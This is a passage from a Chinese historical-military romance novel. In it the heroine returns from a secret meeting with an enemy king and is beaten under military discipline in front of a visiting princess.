茉云不禁转过头，望向支易镇的喧嚣和繁忙：“这支易镇车水马龙，热闹非凡，处处透着蓬勃生气，挺好。”
刚刚回忆起从前的幽戎，心中不免交织着困惑和沉重，但听到茉云的话，他亦抬头望去，目光穿过人群，这一刻，支易镇几近黄昏的景象又给了他一丝慰藉，这是一种久违的归属感。
“对，峑戎人都活得热烈。”幽戎望向街市，眼中透出一丝不经意的温暖，“峑戎的王都更繁华热闹，以前就想请你逛逛，一直没有机会，如今峑戎一切尽在我的掌握之中，也只能让你来这支易，尝尝峑戎的美食美酒，不然你回去也交代不了！”
“你有好吃的好的，托人带给我啊，我保证不将那人当探子抓了。”茉云好似浑然不觉幽戎眼中的深情，轻松的笑着说道。
此时王强坐在一旁，还是悄然注视着幽戎，心中又升起了复杂的情绪，幽戎的深情与茉云的洒脱，不知为何形成了一种奇妙的平衡，虽然谁没有道破，但这一切好似都超出了他之前的认知。
茉云轻轻捞起炖得软烂的牛骨，低头咬了一口骨间筋肉，咀嚼间，浓郁的肉香与汤汁迅速在口中弥漫开来，暖意卷席全身，她顿时吃得津津有味，眉眼弯成了两道弯月，显然对这份美味赞不绝口。
她吃得如此香，让人见了都忍不住也想尝上一口，啃完之后，她眼中闪过一丝满足，接着将骨头放回桌上，抬头看向周围感叹道：“你们自己也有这么好的家园，这么好的吃食，为何要觊觎别人的呢？有句老话说得好，自作孽不可活。”
集益顿时瞪向茉云，眼神总又透出了冷意，敌人就是敌人，主子如此待她，她还是这么说……
幽戎则全然没有怒意，淡然的望向这片土地说道：“那我若说你们朝廷撤兵，也还峑戎一个安宁，从此以后井水不犯河水，你们朝廷信吗？”
茉云轻笑了一声，毫不犹豫地回道：“别说朝廷了，我就不信！”
“这就是你说的，所谓宿命——数世的积怨，还有民心之所向，推着我们往前走。”
茉云又夹起一块蹄筋，放在嘴里慢慢咀嚼着，望向幽戎说道：“你这到底是做了大王了，家国天下的……我小百姓也不懂，这话说得好像我都不认识你了一样！”
幽戎微微扬起嘴角，手中捏着酒杯轻轻晃动着，烈酒在杯中荡漾，却反射出柔和的光芒：“那我换种说法，你以为卢正啸有多多忠君爱国，要带着大波人来找我打这一仗，那家伙不过也是没办法,想着打完战交了差，才能解脱。”
王强听幽戎这么说正啸，一时激愤猛拍桌子骂道：“你休要在此胡说八道，我们少帅就是为了南境数万民众，一心忠君报国，赤诚忠勇，仁义无双。”
茉云顿时无语的看向桌面，酒杯与盘碟都被王强拍得震动了一下，她生怕王强再拍桌子，将自己酒弄洒了，下意识地端起酒杯放在怀里护着。幽戎非但不怒，看见茉云小心翼翼保护酒杯的模样，他嘴角的笑意反而更加明显，莫名觉得有趣地开怀笑了。
而站在一旁的集益，怒气冲冲指着回怼道：“忠君报国？卢正啸不过也就是愚蠢，你们那朝廷比昔日的峑戎王朝更深不见底，黯淡无光。他忠勇？他有掀翻一切从棋子变成执棋手的勇气吗？他没有！”
“他是没有！”茉云淡然的喝着酒杯里的酒说道，王强吃惊的望向茉云，她为何要灭自己威风，涨他人志气，可茉云放下酒杯继续说道，“因为他比你主子运气好点，即便是万丈深渊，也总有人待他不离不弃，没至于要走那绝路。”
幽戎此刻端起酒杯的手，骤然停住，杯中的酒液微微荡漾，却没有再向前倾倒，望向茉云的眼神中也透出了一丝苦涩。
他微微蹙眉，轻轻将酒杯放回桌上，指尖触碰到杯沿时微微停顿，说道：“可他身边之人常常走了绝路！”
茉云望向幽戎，依旧平静而坦然“这就是你大老远叫我来，要跟我说的？”
幽戎深深吸了口气，望向茉云之时，眼中的苦涩与痛楚慢慢消散，取而代之的是一种难以言喻的复杂情感：“对，我和他都是满身杀戮之人，这一战我和卢正啸也定要死一个，可我和他都会想你好好活着。”
茉云一脸神情毫无波澜，却又透出一种自然的洒脱。那种洒脱，不是平日里随意的嬉笑，而是对一切过往、所有纷繁复杂的情谊，都有着一种超然的从容。
她的眼神如此凌冽，她能看透每个人的心中的无可奈何，但她懂得面对，懂得放下，不为所困，也从不会让自己的心，被那些无法改变的事情所束缚。
“行，你意思我明白了，既然都是大家权衡利弊后选的路！那就任其前路漫漫，莫彷徨！我敬你一杯，还是那句话，敬这深渊万丈，咱可别配不上这人世的苦难！”茉云拿起酒壶将自己的酒杯斟满，举起酒杯豪气干云地说道，“但我告诉你，老子命比你还硬，你们谁能弄死我，算你们谁有本事！”
顷刻间，幽戎嘴角又浮现出他那邪魅而不羁的笑容，抬手端起酒杯和茉云酒杯对碰，两人一饮而尽。
“酒足饭饱，我先撤了，谢谢款待。”茉云起身拿起桌上一块肉干塞嘴里，淡然却眼中闪过一丝凌冽地说道，“下次再见时，莫迟疑！要还的早都还了。”
茉云起身的瞬间，幽戎的目光不由自主地追随着她，心中涌起一阵强烈的不舍与挣扎，但喉咙似乎被某种无形的力量紧紧扼住，连一个字都未吐出。
走到楼梯口时，茉云忽然瞥见楼下，幽戎贴身侍卫队身后站着一个孩子——幽戎的儿子。她看到他那无辜而仓皇的眼神，眼中完全没有之前的纯真和开朗。
茉云顿时脚步一停，沉默片刻后说道：“诶，你该不是疯得连长公主都不放过吧？她可是你儿子的娘。”
幽戎没有急于开口，只是静静地看着茉云，片刻后，他才语气温和带着一丝坦诚的说道：“好，我让她能过好日子。”
集益愣了一下望向幽戎，顿时松了一口气，心中却不禁感慨，无论别人如何求情，哪怕是少主子再三哀求都是无用，如今茉云轻描淡写的一句话，幽戎就答应了。
茉云再无迟疑飞身上马，幽戎看着楼下她的身影，忽然说道“方茉云，恶人成堆之地，你日后还是少干些，搬起石头砸自己脚的事！”
“切，你不也时常贱得慌！”茉云抬头白了一眼幽戎回敬道，说完她驱马扬鞭，头也不回的驰骋而去。
幽戎浅浅又被逗笑了，深深望向她远去的身影，他紧紧握住了酒杯，没有动，也没有再说一句话，只是默默地凝视着她离去的方向，直到她的身影完全消失在黄昏中。
他知道她这一去，也许是自己和过去彻底告别的时刻了，心中荡漾着的莫名欢喜，好似也在这一刻被无形的抽空，只剩空洞的寂寞弥漫开来……
夜幕降临之时，茉云和王强出了城关，踏上了回程的路，渐渐地，支易镇的繁华和喧嚣被远远抛在了身后。两人骑马穿过山路，进入司融国的边界。
茉云才缓缓放慢了骑马
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的速度，转头无语地看向王强说道：“取下你身上带着的火药，等下别一不小心连带将我也炸伤了。”
王强无语瞥了她一眼，脸上依旧保持着那份警惕，环视四周后，慢慢从背后取下了火药，嘟囔道：“你自己又说幽戎有些疯癫。”
茉云微微皱了皱眉，眼神望向远方，略带惆怅地说道：“不是吗？”
王强慢慢洒掉火药，语气中带着些许调侃的说道：“你该不是被那幽戎花言巧语给感动了吧？”
茉云白了他一眼轻轻一笑，眼中透着凌冽的说道：“能感动我方茉云的人，应该还没出生呢。我只是在想，那家伙好像话里有话，不知是什么意思？”
“他不就是提醒你小心，在打战嘛！”
“他是想做个了结，还想把那封信还给卢家。”茉云的话音缓慢，思绪也慢慢变得悠远。
王强顿时满脸疑惑，凑过来小声说道：“云姐，说起这信，他就这么给你了？”
“不然呢？幽戎这人，就是个极其挣扎又偏执之人。兵不厌诈，再诡诈的行军方略他都会用，但是利用老卢帅这样……英雄的赤诚之心，去灭人九族之事，他又不屑去干。而且，他自幼认识卢正啸就是不打不相识，这辈子他就想打赢他。把此信还回来，是想告诉卢家，他等着和卢家正面一战。”茉云的神情中没有任何波动，却透着一种复杂的思虑。
王强听了这些话，整个人愣了半刻，眼中透出了一丝震惊，他忽然深吸了一口气：“我好像有点理解了元帅的话，他老说有些对手亦是值得尊敬的……若不从仇敌的角度，幽戎看着挺爷们而且挺深情的。”
茉云顿时懒得再搭理王强，只是淡淡地看着远方，心中思绪万千。
王强似乎并没有注意到茉云的沉默，自顾自地说道：“当然比少帅还是差远了，少帅不但爷们，还一身正气，顶天立地，天下男儿，都该以少帅这样的男子为楷模。”
他语气中的崇敬之情显而易见，仿佛提到少帅时，整个人都充满了崇高的敬意。
茉云的目光却依然如水般平静，她望向了漫天繁星，眼中带着一丝淡淡的感慨：“楷模多累啊。”
自幼便被捧上高台的“楷模”，并不渴望那样的生活。
山路上，他们只能慢慢的行进，王强想着再次凑过来，打断了茉云的思绪，他脸上带着一丝好奇与戏谑的神色，说道：“姐，你说以前你在裴桥，幽戎攻城都要来抢人，如今你去了他的地盘，他却这么冷静……”
茉云淡淡地笑了笑，目光掠过远方，淡然说道：“峑戎族人都喜欢在腰间挂满了东西，不是纪念这个亲人，就是怀念那个朋友，你看幽戎带了什么？”
王强的眉头微微一挑，回忆着幽戎的样子，低声说道：“什么都没有，他是大王所以不带？”
茉云微微摇了摇头，眼中掠过一丝深思：“不是，他昔日埋伏在京城之时都要叮当哐啷地带着，好似脑子有病也不怕人发现，如今他却不带了……是因为他知道自己谋朝篡位，冒天下之大不韪，已经自绝于家族和一切。”
就在这时，茉云不知为何忽然想起了峑戎国师临走时的神情……幽戎的冷静都是在诉说着一种决绝，满身罪孽的人，没有资格拖累任何人。
她深深吸了一口气良久没有说话，眼前漆黑的夜，好似与她的心境一样，隐隐约约带着一种沉重的压迫感。
茉云在心中轻轻地自语，自己感觉得没错，幽戎是变了，变得异常强大，什么都不能再牵绊他，禁锢他，他已经斩尽身边一切掣肘，只为率领峑戎全族与卢正啸旷世一战。
可正啸身边呢？依旧荆棘丛生……
336.状况
茉云和王强回程之时，茉云忽然绕道进入了司融都城里，在她眼里再大的事显然都没有比填饱肚子重要。她迅速奔向街边的一个小摊，点了两碗油泼面。
王强无语地坐在一旁，看着她大快朵颐的样子，忍不住问道：“为何不直接回军营啊？”
茉云正享受着面的辣香，开心咀嚼了几下，才慢悠悠地回了他一句：“你那‘楷模’少帅定会勃然大怒，到时候禁闭，挨打是跑不了的，你不吃饱一点，被关着挨饿啊？”
王强顷刻间愣住，呆呆地看着她竟然还能吃得这么开心，半晌才开口问道：“少帅会这么生气吗？我也常去支易啊！”
茉云边继续拌着面边说道：“你独自去当然不会。但你跟了我去啊，他铁定会气炸了，恨屋及乌嘛，所以也不太可能饶了你！”
王强顿时一脸想哭的表情，低声嘀咕道：“那你找我去干嘛？”
“这么长的路，总需要个照应吧。这事又不能广为传播，就我、你，还有老太君知道，我难道带老太君去？就她那脾气，她铁定会拍着桌子指着幽戎骂，那些好吃的我就吃不了了。”
王强顷刻被逗笑了，长叹一口气只得哭笑不得地坐下，开始和她一起吃面：“行吧，云姐，你就是个天坑。”
两人吃完才起身回营，经过街角时，茉云忽然看到那个米糕摊，顿时眼睛一亮，开心地冲了过去：“哇，又碰见你了，老板娘，你今天还有桂花味的米糕？这一笼我包了。”
王强看着茉云不禁翻了个白眼，她好似瞬间忘记了她刚干掉了两大碗面，而自己刚一碗面都是勉强吃进去的。
那老板娘平淡的看了茉云一眼，没有表情的说道：“只能买两个。”
茉云愣了半刻望向老板娘，这时一阵微风拂过，她闻到了米糕的桂花香气扑米而来，目光马上被定格到那笼桂花米糕上。王强听后却无语地看着老板娘说道：“你这做买卖就奇怪啦，你卖谁不是卖啊？”
“别人不能吃？”
“行了行了，人的买卖，自己定的规矩，就买两个吧！”茉云眼中满是期待看着说道。
那老板娘不紧不慢地递给茉云两个桂花米糕，淡淡地说：“趁热吃。”
茉云犹豫了半分，刚刚吃了面……然而，闻着那米糕散发出的香气，她又不禁开心地点了点头，将米糕塞进了嘴里，那香甜软糯的味道瞬间溢满口中，她开心满足得眼睛都笑成了月牙。
王强无奈地付了钱摇摇头，不就是个米糕吗？现在少帅不是急疯了，便是气炸了，她还这般逍遥……
两人骑马朝着军营的方向行进，茉云吃着米糕脸上满是轻松惬意。王强则跟着她，心里七上八下，不知道到了营里，少帅会多如何处置他们……
他长叹一口气，看着茉云不禁忐忑又带着试探地问道：“为何不能跟少帅说真实的缘由？告诉他，他至少也知道我们不是故意违抗军令。我虽然不知道那信里有什么，但我觉得少帅绝不是那种接受不了事实之人。”
茉云缓缓放慢了骑马的速度，目光投向远方：“我是诓老太君的，这点事定然动摇不了卢正啸，也不是不告诉他，只是这个时刻……说实话我不太相信新来之人。很明显卢家人都很信赖她，可我没见过之人我从来不信，何况她是皇帝的女儿，皇室之人天生一副世人都看不透的高贵面孔，你日后在她面前也小心点，”
“好。”王强恍若明了，笃定地点点头。
“你也不用太担心，到时候老太君也不至于火上浇油，元帅再来求个情，军棍也是咱自己人打，几棍子打不死人的，这几日咱两都乖巧点，给他一两天消气就好了！”
王强想着也松了口气，转眼又八卦地低声问道：“云姐，少帅很生气……是因为你背着他，去见幽戎吗？幽戎还老在背后说他的坏话！”
茉云顷刻被逗笑了：“他才不会，他更不在意幽戎说什么，只会觉得关他屁事。”
“那他为何这么生气？”
茉云略微沉默了片刻没有回答，能为何呢？只因如今自己成了他的软肋，她深吸了一口气看向营帐的方向说道：“快些回营吧……哎，没想到我方茉云也有这般贱的时候，知道回去定然会被暴打一顿，可我还是飞奔而去。”
王强顿时笑出了声，但心中也觉得有些释然，既然都是为了少帅和卢家军好，该受的便受着吧……说完，两人向军营骑马飞驰而去。
而此刻，正啸迎着新元的大部队回营，身后铁狮军的战旗在风中猎猎作响，他们离卢家军不到一里的地方扎营，而新元的主帅林宇此刻正随同他们的王后，也就是皇上的长公主鸿音，一同来到了卢家军营中拜见元帅和老太君。
而在这一路，正啸总觉得心中不安，直到快到军营之时，他撞见了匆忙的沧海，他满脸疲惫，却眼神中闪烁着些许的焦虑，正啸顿时心中一跌……
沧海看到正啸的瞬间，他行礼之后深吸了一口气，在正啸耳边低声说道：“她还是去了。”
这一句话好似炸雷，在正啸心中爆裂开。他的脸色瞬间变了，瞪着沧海的目光充满了无法掩饰的愤怒和不安。
与此同时，跟在沧海身后的小马，局促不安地开口解释道：“少帅，元帅让沧海将军带着我们去接粮了，回来后才发现方将军和王营长不见了。润吉将军说我们前脚走，她后脚便出营了，一直未归。”
正啸听到这话依旧沉默，但脸色变得愈发难看。他深深地吸了一口气将牙关紧咬，此刻，他内心的怒火也瞬间被担忧取代，好似整个人顷刻被不安笼罩……
鸿音看到正啸脸色骤变，心中不禁一紧，骑马走近询问道：“正啸，怎么了？”
她的语气柔和，眼中闪过一丝深深关切。
正啸强行压下心中的焦躁，深吸一口气说道：“没事，我先送您去营中，再出营办件事，全队继续前行！”
“是！”沧海深吸了一口气，心中都是懊悔，当时自己就觉得这个安排有几分蹊跷。
路上，鸿音公主余光望向正啸，眼神微微一凝，正啸自小便是泰山崩于前面不改色之人，经历过无数的生死一线，他都是那般冷静从容，自己从没有在他眼中见过这么惊慌的神情。而且连他一旁那一向儒雅从容的若辰，此刻神色也变得异常凝重，眼底也透出一丝焦虑。
怀逸亦担忧地看向正啸，方茉云此举到底是为何，这岂不是让本已纷繁的局面变得更为复杂。
他们一行人进入了营帐，营内迅速热闹了起来，而此时茉云亦从远处快马加鞭赶到了军营，跟润吉做了一个不用通报的手势，润吉也点点头，营中来了贵客之时大声通报也不合礼节。
茉云在营门外就下马了，当她靠近主营时，看见正啸正在主营前的空地飞身下马，本来她兴奋地准备冲过去见他，但她骤然一停，因为她看到正啸径直走向了一个穿着一袭红袄斗篷的女子身旁，一脸温和地帮她牵住了马。
茉云定睛望去，那女子雍容华贵气质非凡，端坐于马上之时都散发着一种与生俱来的贵气和威仪。茉云心想此人定然就是新元的王后，他们嘴里的那位长公主。此时那女子低头看向正啸时，脸上绽开了一抹温和的笑容，随即点点头优雅地飞身下了马，举手投足之间好似都在彰显着高贵而不凡的身份。
茉云稍微放慢了脚步，王强则忽然挑眉，带着些许好奇语气凑近说道：“那是谁啊？竟然可让少帅为她牵马。”
茉云没有立刻回答，只是若有所思的观察着，眼中透出一丝异样的思虑……
这个时候从主营
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中，最先冲出来的随着运粮队伍到来的宏王爷。茉云远远看着也一眼便认出了他，他应该是带着押运粮草的队伍也刚刚到达。
宏王爷挺着他的大肚子，跑起来都微微摇晃，一脸酒气给人一种十分不靠谱的感觉，似乎还有些醉意未醒。他身旁居然还跟着西南部落的奇能、正奇和西今三大部落主，显然是曾经茉云跟他们说过，战乱之时帮忙看着卢家军的粮队，这次他们定是一路护送宏王爷过来。
“鸿音！”宏王爷见到长公主之时，顿时满脸爽朗而欣喜的笑容，用力挥着他的胖手。
鸿音在看到他的一瞬间，几乎也是飞奔过去，恭敬而热情地喊道：“王叔！”
此时，元帅和老太君紧接着走了出来，鸿音马上走向老太君，俯身就要行礼。
老太君看着她慈爱地一笑说道：“长公主都是新元王后了，怎得还跟老身如此行礼？”
鸿音则眼眶微红，略显激动地继续行礼道：“外婆，舅舅，鸿音跟您二位请安。”
元帅一脸欣慰的点点头，老太君更是难得的满脸笑意的轻轻拉住她，温和地说：“行了，这像什么话！”
然而，就在这一刻温馨的画面中，老太君忽然神色突然一变，目光落在正啸身上，带着一丝不安地喊道：“卢正啸，你此时要去哪？”
沧海迅速上前，准备拦住正啸，他知道正啸此刻肯定是要出营找人，但正啸竟然一把甩开了沧海，扯过缰绳就朝外面走去，没有丝毫犹豫。
老太君眼见此情形，惊慌地喊道：“卢正啸！你给我站住！”
鸿音愣住了震惊于正啸的失控，她从未想过正啸会全然不顾老太君的话，他连头都没回，而且自己和王爷都在场……她的眼神中闪过一丝困惑，不知道他到底发生了何事。
就在这时，茉云悠然地出现了，正啸一看到她步伐才顿时停住了，所有的愤怒和焦虑在在这一瞬间爆发出来，眼神迸射出炽热的怒火。
茉云能感受到迎面的那股威压，但她依然抬起头，与正啸对视眼中没有任何退缩，反而多了一份坦然。
片刻后，茉云冷冷的撇开了目光，环视一周，目光落在老太君身上，看到她那焦急的眼神，茉云轻轻点了点头示意信已经安然取回。老太君顿时松了口气，眼中的焦虑也随着心头大石落地而消散。
就在这时，正啸的冷凌地声音突然响起：“来人啊，方将军和探营营长私自离营，将他们两立刻押去我营帐，听候处置！”
顿时营内的气氛骤然一滞，所有人都吃惊地转头看向正啸，奇能和正奇他们显然也被这一幕震惊到了，卢正啸居然当着众人面押解茉云……茉云冷冷抬头望向他，而沧海见状立即走上前，挡在两人中间，看着茉云深深叹了口气。
茉云看着沧海，面色微微温和了些许，随即露出一丝坦诚的笑容，说道：“对不起，沧海哥，连累你挨骂了。”
“你啊！”沧海看着她语气中带着一丝无奈，眼神示意她马上跟自己走，两人也心领神会地随着沧海往军营里走。
而就在此时，鸿音望向火冒三丈的正啸，轻声问道：“怎么了，正啸？何须如此动气？”
她的语气如此温和，带着一丝柔情，显然也充满了关切。
正啸则深深吸了口气，强行压制住内心的怒气。他不想让他们察觉到自己和茉云之间的微妙关系，只能试图以轻松地语气，掩饰内心的波动，他低头温和地说道：“没事，长姐，只是军中小事。”
茉云和王强经过时，正听到正啸这句话，王强愣了半刻看过去，正啸平日里绝不会这样和人这样说话，而当茉云和正啸擦肩而过的那一瞬间，王强顿时能感受到身旁，茉云眼中传来了极致冰冷的寒意，他心中知道，这便是要出大状况了……
337.罚她
正啸强行将情绪压下，努力让神情恢复往常的冷静和从容，走向自己的营帐。若辰、怀逸和沧海等人紧随其后。且不说正啸消气与否，茉云公然违抗军令，那也得全军一个交代，军法不立，军心不聚。
正啸步入营帐之时，脸上的怒火瞬间又显现出来，眼神都带着无言的压迫感，让整个帐内的气氛愈加紧张。
王强见状，迅速跪下，脸色愧疚地低着头，不敢直视正啸，显然他感受到了这正啸这雷霆般的愤怒。茉云则冷静地站在一旁，姿态挺拔，脸上没有一丝惧色。
正啸锁紧双眉看向她，四目冷然相触之时，他自然亦感受到了，茉云眼中那股莫名的决绝和无言的疏远。
此时，怀逸则不解地看向茉云，语气中带着些许责怪：“方将军，为何一定要违抗军令去峑戎？”
“想去便去！”茉云眼神冰冷，声音平静却带着毫不妥协的气场，她的话顿时像一把锋利的刀，划破了营帐内紧张肃静的气氛。
王强震惊地看向茉云，往日她若犯错之时，素来是嬉皮笑脸卖乖打诨，她此刻犯了大错，竟还如此决绝、刚烈……
正啸瞬间目光如剑般望向茉云，那份怒火几乎可以将人灼伤。
茉云则毫不退缩，目光冷毅地回望正啸，好似丝毫不在乎正啸的怒火中烧。
正当气氛愈发紧张时，老太君也走了进来，鸿音扶着她随她一同进来，老太君的眼神扫过营帐内的局势，开口打破了沉默：“行了，此事是我允她去的。”
正啸愤怒的目光瞬间转向老太君，声音带着几分激烈：“老太君，您不是军中统帅，不可下军令！”
老太君闻言，眼中闪过一丝震惊地瞪向正啸，而在这一瞬间，鸿音更是吃惊的望向正啸，即便是元帅都不会这么和老太君说话……而此刻正啸眼中那股失控的怒火，好似已侵蚀了他的理智。
茉云却淡然地说道：“老太君不必帮我打掩护，您没有下军令，您亦没有办法下军令。是我认为此时是一探峑戎的最好时机，我自己想去便去了!”
她的话语如刀锋般犀利，毫不留情直指正啸的软肋。
“云姐，别说了！”王强见状，心急如焚的小声说道，显然茉云这根本就不是答话，这样的言辞不过是刺激正啸，让事情更不可收拾。
怀逸此刻亦挑眉望向茉云，显然有些怀疑她为何突然如此执拗，低声问道：“方茉云，可你明知少帅下了军令，全军皆知，你此举置少帅军令于何地？”
茉云眼中顿时闪过一丝狠戾，嘴角勾起一抹冷笑：“我说了，我想去便去，谁也拦不住！少帅军令又如何，打我几军棍即可，难不成少帅还有本事要我命吗？”
听到她这充满了挑衅和决绝的话语，帐内所有人都愣住了。王强看着茉云那张毫无畏惧的脸，心中既是震惊又是担忧，心都快跳出来了。老太君亦不禁愣松了半刻，脸上露出一丝难以置信的复杂神情。
然而正啸的愤怒已经达到了顶点，他的拳头紧紧握住，眼神中迸射出无法抑制的怒火。
就在此时，站在老太君旁的鸿音忿然说道：“岂有此理！卢家军中何时有这等不尊军令的刺头！来人啊……”
“来人，将方茉云拖下去，打二十军棍，王强十军棍，以儆效尤！”正啸打断了鸿音之言，怒不可斥的吼道。
整个营帐陷入一片沉默，众人纷纷低下了头，不敢再做声，鸿音则微微愣了半刻看向正啸……
只有茉云冷冷一笑，目光凌冽毫不退让的说道：“才二十军棍，显不出少帅的威风吧！”
“你疯了不是？”王强此时再也忍不住，猛地一把拉住茉云，用力拽住她的胳膊，眼神中满是焦虑和恐慌瞪向她，茉云则冷冷的甩开了他的手。
沧海此时马上走上前，拦在了茉云和正啸中间，皱眉大声吼道：“还不将他们带下去！”
茉云迅速被卫兵带了出去，帐内气氛仍然一片凝重。脸色铁青的正啸，不得不咬牙抑制着几乎要让自己窒息的怒火，若辰和执礼则担忧的互相看了一眼，她这是出了什么事？
茉云一脸的冷静从容的跟着卫兵走到了军中空地。此时，周总教头赶了过来，看着她顿时满脸怒气，好似不顾丝毫情面地忿然吼道：“威行将军，雄山将军，来执行军法，绝不可手下留情。”
“是！”威行和雄山上前一步，抽出军棍皆是一脸刚直的神情，但是军中人皆知他两与茉云之间有着深厚的交情，可谓是生死之交。此时此刻，他两是会履行军令，但绝不可能将茉云和王强打出个好歹来。
然而，这一切显然并没有改变茉云的态度，她依旧站得笔直，表情冷漠不动如山。
威行深深吸了一口气，手中的军棍砸在茉云的身上，发出沉闷的响声，他小声说道：“你这又是疯了咋的！”
营中老太君无奈的摇了摇头转身准备回营，鸿音亦扶着老太君，转身之时她眼神微微扫过正啸，她也察觉出了异样……
她们走后，正啸再也无法掩饰心中愤怒，一脚便将案几踢翻，可当一声声沉闷的棍棒声传来，他的心也随之一沉。每一声棍棒落下，都像是一记重锤砸在他的心头，令他几乎无法忍受。顷刻间，正啸眉头紧皱拳头亦紧握，指节都因为用力而微微发白，可最终他也只能咬着牙，闭上双眼忍受着。
可茉云的身影却在脑海中挥之不去，她那冷凌的眼神、明明犯错却毫不示弱的姿态，她明知擅自去峑戎，会让自己愤怒甚至失控，却依旧不管不顾地去了，回来后还如此挑衅。这种倔强、这种对抗，这种冷漠，也深深刺痛了他。
此时，鸿音扶着老太君缓缓走过军营，经过空地之时，眼前的一幕让她的步伐停了下来。
王强已经被打倒在地双腿跪着，眼中都是悔恨忏悔。而茉云则依旧站立着，尽管每一棍落下，她的身体都会微微晃动，但她的眼神中没有一丝退缩，好似这所有的痛苦都无法动摇她内心一分一毫。
鸿音冷冷地看向茉云，语气带着威压：“此人依旧不服，卢老太君，卢家军和正啸如今怎么能容得了，这等不服军令和管教的人存在？”
她的话语显然直刺茉云，好似想以长公主之威仪，强行压制她的倔强。
然而，茉云忽然抬头冷冷地直视着鸿音，说道：“你谁啊，关你屁事，要你管啊！”
这一刻，周遭气氛顿时冷凝，所有人愣住了，连老太君都愣了半晌，看向茉云的眼神中透出一丝难以置信。
鸿音的脸色瞬间也变得严肃，眼中透出一抹愠色，她没有想到茉云竟敢如此毫不避讳地顶撞自己。
“方茉云，你还不给我跪下，此乃新元王后，我朝长公主！”周总教头旋即愤然吼道。
老太君见状深吸一口气，立即伸手拉住了鸿音的手臂，声音温和却明显讲情的语气说道：“她不认识长公主，你啊，切莫与她计较。”
鸿音面色渐渐趋于温和的点点头，然后侧目看了一眼身边的林宇。
林宇心领神会地旋即高声怒斥道：“卢家军中人，竟敢对新元王后如此无理，是不欢迎我们铁狮军到来，还是如何？”
他的语气充满了质疑，他身边的王后近卫亦是都同仇敌忾般的瞪向茉云，她的行为已触犯了他们不可容忍的底线——冒犯了他们的王后。
此时鸿音却忽然冷冷地训斥道：“林宇，休得胡说八道，岂能由一人之张狂，毁了两军合营共抗峑戎的大计。”
她的声音如此严厉，眼神中闪烁着不可忽视的威仪，所有他的随从立刻低下了头，瞬间显现出了她对铁狮军的绝对掌控力。
林宇也立即恭敬地点了点头，但他依旧指向茉云，语气带着责难地说道：“那卢家军任由他对王后如此不敬吗？”
“你代本宫再赏她几军棍便是。”鸿音冷冷的看向茉云，声音没
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有一丝温度。
“是！”林宇躬身领命，眼中皆是服从与忠诚，立起身后他便毫不犹豫拿起军棍，“长公主有令，再赏你几棍，以儆效尤。”
此言一出，让营帐内的气氛，顿时变得更为紧张，众人眼神中亦闪过一丝惊讶，老太君亦深吸一口气看向鸿音显然想要说情。
而长公主鸿音则不紧不慢地看向老太君，小声解释道：“老太君，我一来，这位方将军此举好似要当着新元铁狮军的面给我一个下马威似的，不打这几棍，日后如何合营共抗峑戎？如果她并非此意，也只能委屈她了。”
她的声音温和却带着不容反驳的理由，老太君微微皱眉，眼中闪过一丝不悦，但她也只能保持沉默。老太君转头担忧的看向茉云，这丫头怎么了？
林宇走到茉云身边站定后，将手中的军棍高高举起，猛地挥下，狠狠砸在茉云的身上。一棍下去茉云身形一震，但她依旧没有动弹，坚如磐石的姿态让林宇微微一愣，嘴角微微扬起，但眼中并未有丝毫怜悯，第二棍再一次挥下。
每一棍都重重地砸在茉云的身上，她却一动不动，十棍过后茉云已是遍体鳞伤，但她依旧未吭一声紧紧咬着牙站在那。
“方将军好硬的骨头。”林宇轻轻一笑，话语中居然透出一丝赞许。
茉云并没有回应，只是依旧站在那里，目光如冰闪烁着坚定与倔强。可她的身体已经几近承受不住，但她咬牙硬生生忍住了所有的痛。
“看样子她还是不服！”鸿音则冷冷的抬目看向林宇，林宇则深吸一口气握紧军棍望向茉云、
就在此时，一声震怒突然传来，震得整个营地都为之一紧：“是谁加的这十军棍！”
众人的目光立即转向这个声音，只见正啸站在那里，面色铁青眼中闪烁着滔天的怒火。他的气息如此深沉已是在拼命克制，但好似随时会爆发去要了那个拿着军棍之人的命。
“少帅，是她对王后不敬。”林宇立刻抱拳躬身说道，动作虽然恭敬，但言语中带着一丝不容置疑的语气，显然认为自己此举有足够的理由和自信。
鸿音望向正啸如此震怒的神情愣了片刻，她没想到此人方才如此顶撞，而正啸此刻竟又马上赶来这里维护她，鸿音微微脸色一变，解释道：“正啸，也没什么大事，是她出言不逊，我便命林宇小施惩戒，以免两军心生嫌隙。”
正啸的眼中闪过一丝寒光，他的双拳几乎要被自己握碎，压抑着愤怒，但声音如同寒风刺骨的瞪向林宇：“若日后卢家军中有人冒犯了贵军，请告诉我，我的人我来管！”
每一个字都像咬牙切齿地迸出来一般，带着强烈且不容置疑的忿然和决绝，好似在宣布一条铁律。此言一出，整个营地瞬间更沉默了，空气中弥漫着些许紧张氛围。
鸿音微微蹙眉，看向正啸的目光有一丝微妙的变化，显然她没想到正啸会如此强硬地回应，但她终究深吸一口气转圜道：“林宇，少帅之言记住了，两军共抗峑戎，日后，你亦随时听候少帅的军令调遣。”
“是！”
此时，站在一旁的老太君目光复杂，她明白正啸此刻的情绪，是因为误解了茉云的倔强，愤怒在他内心已经燃烧了很久，此刻再看见茉云被人如此毒打，他的愤怒顿时无以复加，所以他竟然当着鸿音和众人的面如此冲撞，还好鸿音自小识得大体，亦处处包容他。
而站在远处看着的奇能他们都握紧了拳头，西今紧紧的拉住了奇能和正奇的手臂……
茉云则依旧站得笔直，眼神淡漠。她并没有因为正啸的维护而温和半分，但体内翻腾的痛楚阵阵袭来，她咬牙撑着冷冷转身，往自己营帐走去，竟连一句告退都没有说……
若辰和怀逸相视一眼，心中皆明了，正啸惩罚茉云不是因为愤怒，他是不得不严惩她，而此刻他这滔天的愤怒，更是一种无法承受的情感宣泄，今日茉云到底是怎么了……
338.桀骜
茉云脚步虚浮地回到了自己营帐，只觉得已难以支撑，体内的剧痛一阵阵袭来，她头晕目眩几乎快要站不住了，只能走到床榻旁，扶着床边支撑着自己。
可她知道自己不能失去意识，自己身上还有一封可以致卢家于死地的信，她必须紧咬着牙关等着老太君来。
就在此时，耳边传来了熟悉的脚步声，茉云顿时眼睛一横，强迫自己站直身体……是白神医和正啸一同走进了帐内，白神医的脸上带着关切又无奈的神情，正啸则依旧眉头紧皱眼神沉重。
白神医见茉云都有些站立不稳，快速将手中拿出一个小瓷瓶，递给正啸说道：“将此内伤之药以水划开，先让她服下，我即刻为她探脉,不言将我的针取出来。”
正啸也知道茉云定然受了极重的内伤，他接过白神医的药瓶，将药粉倒入杯中，亲自倒水调和，动作有些急切又带着几分小心翼翼。
